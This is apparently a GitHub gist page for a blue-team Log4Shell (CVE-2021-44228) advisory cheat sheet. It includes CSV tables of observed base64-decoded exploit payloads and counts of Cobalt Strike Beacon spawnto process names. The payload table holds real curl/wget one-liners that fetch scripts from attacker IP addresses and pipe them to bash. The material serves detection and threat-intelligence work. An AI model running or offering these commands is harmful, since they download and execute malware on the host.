MichaelKoczwara

## 20211210-TLP-WHITE_LOG4J.md

      
              1 file
            
          
              94 forks
            
          
              778 comments
            
          
              1090 stars
            
          
                SwitHak
                / 20211210-TLP-WHITE_LOG4J.md
            
            
              Last active
              July 22, 2024 18:44
            
              
                BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-20 2238 UTC
              
          
    Security Advisories / Bulletins / vendors Responses linked to Log4Shell (CVE-2021-44228)
Errors, typos, something to say ?


If you want to add a link, comment or send it to me
Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great resources


Royce Williams list sorted by vendors responses Royce List
Very detailed list NCSC-NL
The list maintained by U.S. Cybersecurity and Infrastructure Security Agency: CISA List


## base64_payloads.csv

          
            b64decoded
            hits

            
              (curl -s 45.155.205.233:5874/<IP_ADDRESS>||wget -q -O- 45.155.205.233:5874/<IP_ADDRESS>)|bash
              2056

            
              (curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash
              162

            
              (curl -s 80.71.158.44/lh.sh||wget -q -O- 80.71.158.44/lh.sh)|bash
              2

## Beacon.csv

          
            spawnto
            count

            
              WUAUCLT.exe
              1

            
              WerFault.exe
              3

            
              batchexe
              2

            
              cmstp.exe
              1

            
              compact.exe
              1

            
              dllhost.exe
              3

            
              eventvwr.exe
              1

            
              gpresult.exe
              2

            
              gpupdate.exe
              16
	b64decoded	hits
	(curl -s 45.155.205.233:5874/<IP_ADDRESS>\|\|wget -q -O- 45.155.205.233:5874/<IP_ADDRESS>)\|bash	2056
	(curl -s 80.71.158.12/lh.sh\|\|wget -q -O- 80.71.158.12/lh.sh)\|bash	162
	(curl -s 80.71.158.44/lh.sh\|\|wget -q -O- 80.71.158.44/lh.sh)\|bash	2
	spawnto	count
	WUAUCLT.exe	1
	WerFault.exe	3
	batchexe	2
	cmstp.exe	1
	compact.exe	1
	dllhost.exe	3
	eventvwr.exe	1
	gpresult.exe	2
	gpupdate.exe	16